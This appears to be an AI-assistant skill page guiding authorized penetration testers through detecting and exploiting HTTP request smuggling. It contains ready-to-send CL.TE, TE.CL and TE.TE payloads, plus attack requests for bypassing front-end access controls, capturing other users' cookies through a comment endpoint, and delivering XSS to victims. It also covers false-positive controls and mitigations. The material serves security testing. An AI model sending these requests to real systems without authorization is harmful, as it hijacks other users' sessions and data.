Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
For assessing applications for HTTP desynchronization vulnerabilities
When other attack vectors are limited and you need to bypass front-end security controls
During security assessments of multi-tier web architectures
How to CONFIRM a Hit (avoid false negatives)
The positive signal is a desync, not a single clean response. Prove it one of two ways: (a) a time-delay probe (incomplete chunk / mismatched length) that hangs ~5-10s versus an instant baseline, or (b) a smuggled prefix that poisons the next request on the same connection — you (or a victim socket) receive a response for an endpoint you did not request, a 400/405 on a normal follow-up request, or your prefix reflected back.
Always send the paired follow-up request. One smuggling request returning 200 proves nothing; the proof is the second request being corrupted, redirected, or delayed.
Confirm with a socket-reuse test: fire the attack request, then immediately a normal request on the SAME connection and diff it against the same request on a fresh connection.
Do NOT conclude negative until you have tried ALL of these variants:
CL.TE and TE.CL (swap which header the front/back trusts).
TE.TE with obfuscated Transfer-Encoding headers (Transfer-Encoding: chunked\r\nTransfer-Encoding: x, space/tab before the colon, Transfer-Encoding:\tchunked, duplicated TE, Transfer-Encoding: chunked, identity, leading-space chunk sizes).
CL.CL (two Content-Length headers) where one processor picks the first and the other the last.
HTTP/2 downgrade vectors: H2.CL, H2.TE, CRLF injection into HTTP/2 header names/values, and request-tunnelling when the edge downgrades to HTTP/1.1 on the origin.
Retry with a different HTTP method, a cache-busting path, and connection keep-alive forced — front-ends sometimes only desync on specific routes.
WAF/proxy normalization can hide a real desync on / but not on a deeper path; test multiple endpoints before calling it clean.
MANDATORY controls BEFORE you report (avoid false positives)
Request smuggling is the #1 source of automated false positives. Before you call it CONFIRMED, you MUST run these two controls and paste their results into . If you cannot, it is NOT a confirmed finding.
exploitation_proof
These are NOT proof of smuggling — never report on them alone:
Two responses on one connection. This is ordinary HTTP/1.1 pipelining, which needs no smuggling headers at all. It does not prove a desync.
A canary/path reflected in the Location header. Redirect engines echo whatever path you send into Location (e.g. GET /ECHO-123 → Location: https://host/ECHO-123). This is trivial reflection, not a smuggled prefix.
x-cache: HIT on a redirect. Redirects are cacheable; a cache hit on one proves nothing about poisoning.
A single request that hangs ~10s. That is usually the keep-alive idle timeout, not a desync. Only a timing differential (attack hangs, baseline is instant) counts.
Control 1 — pipelining rule-out (REQUIRED): resend the exact same two requests with NOContent-Length/Transfer-Encoding smuggling headers (two plain pipelined GETs). If you STILL get two responses, the "two responses" signal was pipelining → NOT smuggling.
Control 2 — redirect-echo rule-out (REQUIRED): send a single benign GET /<unique-canary> with no smuggling. If the canary comes back in Location/body, then a reflected canary is just echo → the canary is NOT smuggling proof.
Confirm with a real differential (REQUIRED — at least one):
Timing: an incomplete-chunk / mismatched-length probe that hangs ~5-10s while an identical baseline returns instantly (report both timings), or
Cross-connection victim: a follow-up/normal request on a separate connection is corrupted, redirected to an endpoint you did not request, returns 400/405, delayed, or receives your smuggled prefix.
If the malformed request is simply rejected (e.g. 405 Method Not Allowed, 400 Bad Request) by the front-end/ALB, the desync did not propagate → do NOT report.
The reporting gate enforces this: a medium+ smuggling finding whose proof shows none of the differential signals above is auto-rejected as a false positive.
curl: Compiled with HTTP/1.1 support and manual chunked encoding
Target architecture knowledge: Understanding of proxy/server chain (front-end and back-end)
Caution: Request smuggling can affect other users' requests; test carefully
Workflow
Step 1: Identify the HTTP Architecture
Determine the proxy/server chain and HTTP parsing characteristics.
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"# Common architectures:# Cloudflare → Nginx → Application# AWS ALB → Apache → Application# HAProxy → Gunicorn → Python app# Nginx → Node.js/Express# Akamai → IIS → .NET app# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1
# Check if Transfer-Encoding is supported
curl -s -X POST \
-H "Transfer-Encoding: chunked" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "0\r\n\r\n" \
"https://target.example.com/" -w "%{http_code}"# Check for HTTP/2 downgrade to HTTP/1.1 on backend# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
Step 2: Test for CL.TE Smuggling
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request
# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
# If response is delayed (~5-10 seconds), CL.TE is likely
Step 3: Test for TE.CL Smuggling
The front-end uses Transfer-Encoding, the back-end uses Content-Length.
# Burp Repeater - disable "Update Content-Length"
POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
Step 4: Use Automated Detection Tools
Run automated scanners to detect smuggling variants.
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST
# Using Burp HTTP Request Smuggler extension# 1. Install from BApp Store: "HTTP Request Smuggler"# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe# 3. Check Scanner > Issue Activity for results# Using h2csmuggler for HTTP/2 smuggling# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
"https://target.example.com/admin"# Manual detection with Turbo Intruder# Send paired requests with different timing# First request: smuggling prefix# Second request: normal request that gets affected
Step 5: Exploit Request Smuggling for Impact
Leverage confirmed smuggling for practical attacks.
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy
# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.example.com
Foo: x
# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly
# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location
POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
body=
# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers
# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response
POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x
# Next user receives the XSS response instead of their expected response
Step 6: Test HTTP/2 Request Smuggling
Assess HTTP/2 specific smuggling vectors.
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't
# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content
# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header
# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2
# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests
# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
High-speed request engine for time-sensitive smuggling tests
curl
Manual HTTP request crafting with precise byte control
Common Scenarios
Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks /admin requests. A CL.TE smuggling attack prepends GET /admin to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.
Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.
Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.
Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.
Output Format
## HTTP Request Smuggling Finding
**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin
### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request
### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |
### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding